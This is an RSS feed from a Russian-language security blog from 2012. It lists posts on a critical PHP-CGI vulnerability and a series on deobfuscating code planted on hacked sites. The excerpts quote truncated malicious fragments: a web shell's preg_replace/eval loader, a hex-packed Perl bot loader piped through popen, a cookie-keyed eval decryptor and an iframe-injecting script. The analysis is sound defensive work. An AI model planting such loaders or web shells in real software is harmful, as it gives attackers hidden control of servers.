<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>NetSpider - персональный блог &#187; PHP</title>
	<atom:link href="http://netspider.com.ua/index.php/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://netspider.com.ua</link>
	<description>заметки на компьютерную тематику</description>
	<lastBuildDate>Sat, 19 May 2012 12:28:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Критическая уязвимость в PHP</title>
		<link>http://netspider.com.ua/index.php/2012/05/05/php-cgi-exploit/</link>
		<comments>http://netspider.com.ua/index.php/2012/05/05/php-cgi-exploit/#comments</comments>
		<pubDate>Sat, 05 May 2012 11:35:47 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[arbitrary]]></category>
		<category><![CDATA[CGI]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[execution]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1399</guid>
		<description><![CDATA[Компьютерная группа реагирования на чрезвычайные ситуации (CERT) опубликовала уведомление об утечке информации о критической уязвимости в PHP, которая позволяет запустить произвольный код на сервере или просмотреть исходный код любого PHP-скрипта, выполняемого в CGI-режиме (используется некоторыми хостинг-провайдерами). Cкрипты, выполняемые с использованием mod_php и FastCGI (например, связки nginx с php-fpm), не подвержены проблеме. Опасность уязвимости усугубляет тот [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/05/05/php-cgi-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Скрытие кода, метод 9</title>
		<link>http://netspider.com.ua/index.php/2012/03/21/skrytie-koda-metod-9/</link>
		<comments>http://netspider.com.ua/index.php/2012/03/21/skrytie-koda-metod-9/#comments</comments>
		<pubDate>Wed, 21 Mar 2012 13:55:57 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[deobfuscation]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[деобфускация]]></category>
		<category><![CDATA[код]]></category>
		<category><![CDATA[обфускация]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[шифрование]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1311</guid>
		<description><![CDATA[Этот метод популярен у ботоводов (т.е. распространителей perl-ботов), зашифрованный код передается непосредственно процессу Perl, запускаемому функцией popen(): error_reporting( 1 ); global $HTTP_SERVER_VARS; if (@is_resource( $f = @popen( 'perl - E54POCH', &#34;w&#34; ) )) { @fwrite( $f, 'eval( pack( &#34;H*&#34;, &#34;6368...7d20&#34; ) );eval( pack( &#34;H*&#34;, &#34;7573...353b&#34;));' ); @fflush( $f ); sleep( 1 ); @pclose( $f ); [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/03/21/skrytie-koda-metod-9/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Скрытие кода, метод 8</title>
		<link>http://netspider.com.ua/index.php/2012/02/27/skrytie-koda-metod-8/</link>
		<comments>http://netspider.com.ua/index.php/2012/02/27/skrytie-koda-metod-8/#comments</comments>
		<pubDate>Mon, 27 Feb 2012 13:02:06 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[deobfuscation]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[деобфускация]]></category>
		<category><![CDATA[код]]></category>
		<category><![CDATA[обфускация]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[шифрование]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1255</guid>
		<description><![CDATA[&#60;?php # Web Shell by oRb $auth_pass = &#34;63a9f0ea7bb98050796b649e85481845&#34;; $color = &#34;#df5&#34;; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251'; preg_replace(&#34;/.*/e&#34;,&#34;\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66 \x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F \x64\x65\x28'5b1pdx...Kn6fwE='\x29\x29\x29\x3B&#34;,&#34;.&#34;);?&#62; Чертовски гениально!) preg_replace ничего не заменяет, а просто выполняет роль eval(), выполняя весь код из второго аргумента! pattern Искомый шаблон. Может быть как строкой, так и массивом строк. Также доступны некоторые [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/02/27/skrytie-koda-metod-8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Скрытие кода, метод 7</title>
		<link>http://netspider.com.ua/index.php/2012/02/26/skrytie-koda-metod-7/</link>
		<comments>http://netspider.com.ua/index.php/2012/02/26/skrytie-koda-metod-7/#comments</comments>
		<pubDate>Sun, 26 Feb 2012 14:30:29 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[deobfuscation]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[деобфускация]]></category>
		<category><![CDATA[код]]></category>
		<category><![CDATA[обфускация]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[шифрование]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1249</guid>
		<description><![CDATA[Следующих код был взят из двух файлов, залитых на взломанный сайт. В каждом из файлов код состоял из трех блоков. Первый блок был почти одинаковым, массив функций, закодированный в base64: $GLOBALS['_482181972_'] = Array( base64_decode( 'Z' .'mlsZ' .'V9' .'nZ' .'XRfY29u' .'dGV' .'udHM' .'=' ), // file_get_contents base64_decode( 'c3Ry' .'c' .'G' .'9z' ), // strpos base64_decode( 'ZmlsZW10' [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/02/26/skrytie-koda-metod-7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Function hijaking</title>
		<link>http://netspider.com.ua/index.php/2012/02/25/function-hijaking/</link>
		<comments>http://netspider.com.ua/index.php/2012/02/25/function-hijaking/#comments</comments>
		<pubDate>Sat, 25 Feb 2012 18:57:51 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[baxtep]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[вахтер]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[модуль]]></category>
		<category><![CDATA[перехват]]></category>
		<category><![CDATA[функция]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1244</guid>
		<description><![CDATA[Перехват функций – архиполезная штука. Если нет возможности изобрести пяттиколесный велосопед, поймать опасную функцию (системную команду) за хвост можно с помощью модуля Baxtep (спасибо Андрею). Baxtep – PHP security extension to intercept execution of system commands. Для сборки модуля понадобятся пара прямых рук и такие команды: # скачиваем с репозитория svn checkout http://baxtep.googlecode.com/svn/trunk/ baxtep # [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/02/25/function-hijaking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Скрытие кода, метод 5</title>
		<link>http://netspider.com.ua/index.php/2012/02/07/skrytie-koda-metod-5/</link>
		<comments>http://netspider.com.ua/index.php/2012/02/07/skrytie-koda-metod-5/#comments</comments>
		<pubDate>Tue, 07 Feb 2012 01:38:31 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[deobfuscation]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[деобфускация]]></category>
		<category><![CDATA[код]]></category>
		<category><![CDATA[обфускация]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[шифрование]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1225</guid>
		<description><![CDATA[Следующий код был выдран из тела страницы взломанного сайта, этот javascript вставлял небольшой фрейм (сразу покажу причесанный вид, изначально все было в одну строку и без пробелов, пугающе ): var s = ''; try { new asd[0] } catch (q) { if (q) r = 1; c = String; } if (r &#38;&#38; document.createTextNode) t [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/02/07/skrytie-koda-metod-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Скрытие кода, метод 4</title>
		<link>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-4/</link>
		<comments>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-4/#comments</comments>
		<pubDate>Mon, 06 Feb 2012 10:36:50 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[deobfuscation]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[деобфускация]]></category>
		<category><![CDATA[код]]></category>
		<category><![CDATA[обфускация]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[шифрование]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1223</guid>
		<description><![CDATA[Взято из демо-версии DLE: &#60;?php $_F=__FILE__;$_X='STRING=';$_D=strrev('edoced_46esab');eval($_D('STRING2=='));?&#62; В коде бросаются в глаза две длиннющие строки в base64, раскодировать “в лоб” можно только вторую, там содержится кусок кода для дешифрации первой строки (STRING=). Причесанный вид файла: $_F = __FILE__; $_X = 'STRING='; $_D = strrev( 'edoced_46esab' ); eval( $_D( 'STRING2==' ) ); edoced_46esab – это всего лишь [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Скрытие кода, метод 3</title>
		<link>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-3/</link>
		<comments>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-3/#comments</comments>
		<pubDate>Mon, 06 Feb 2012 01:32:52 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[deobfuscation]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[деобфускация]]></category>
		<category><![CDATA[код]]></category>
		<category><![CDATA[обфускация]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[шифрование]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1221</guid>
		<description><![CDATA[Не совсем PHP, но тоже может быть интересно. Для вставки в страницы вредительского кода, в частности блоков iframe, используют javascript и данные, закодированные в unicode: &#60;script type=&#34;text/javascript&#34;&#62;document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065')&#60;/script&#62; Раскодировать можно с помощью PHP: $str = &#34;\u003c\u0069\u0066\u0072\u0061\u006d\u0065&#34;; $str = preg_replace( &#34;/\\\\u([0-9a-f]{3,4})/i&#34;, &#34;&#38;#x\\1;&#34;, $str ); $str = html_entity_decode( $str, null, 'UTF-8' ); echo $str . &#34;\n&#34;; Чтобы посмотреть, [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Скрытие кода, метод 2</title>
		<link>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-2/</link>
		<comments>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-2/#comments</comments>
		<pubDate>Mon, 06 Feb 2012 01:09:26 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[deobfuscation]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[деобфускация]]></category>
		<category><![CDATA[код]]></category>
		<category><![CDATA[обфускация]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[шифрование]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1219</guid>
		<description><![CDATA[Следующий код был выдран из файла хакеров (или взломщиков или скрипткидсов), в закодированной строке был URL на внешний сайт, с которого подтягивался еще один кусок кода. @eval(decrypt(&#34;CODECODE==&#34;,$_COOKIE['HASH'])); exit; function decrypt($txt,$key){ $txt=base64_decode($txt); $res=&#34;&#34;; for($i=0; $i&#60;strlen($txt); $i++){ $c=substr($txt,$i,1); $kc=substr($key,($i%strlen($key))-1,1); $c=chr(ord($c)-ord($kc)); $res.=$c; } return $res; Раскодировывается просто, хотя на вскидку сложнее сказать/увидеть, что за манипуляции производятся со строкой: [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Скрытие кода, метод 1</title>
		<link>http://netspider.com.ua/index.php/2012/02/05/skrytie-koda-metod-1/</link>
		<comments>http://netspider.com.ua/index.php/2012/02/05/skrytie-koda-metod-1/#comments</comments>
		<pubDate>Sun, 05 Feb 2012 21:59:08 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[deobfuscation]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[деобфускация]]></category>
		<category><![CDATA[код]]></category>
		<category><![CDATA[обфускация]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[шифрование]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1217</guid>
		<description><![CDATA[Один из самых популярных способов скрыть код, часто встречается в темах WordPress и других движков и иногда в самих движках. Код выглядит следующим образом: eval(base64_decode(&#34;CODECODECODE==&#34;)); eval(gzinflate(base64_decode(&#34;CODECODECODE==&#34;))); Первый вариант ломается легко, стоит только раскодировать строку из base64, второй – сложнее, нужно запихнуть все в переменную и сохранить в файл: $text = gzinflate(base64_decode(&#34;CODECODECODE==&#34;)); $fp = fopen('decoded.txt', 'w'); [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/02/05/skrytie-koda-metod-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

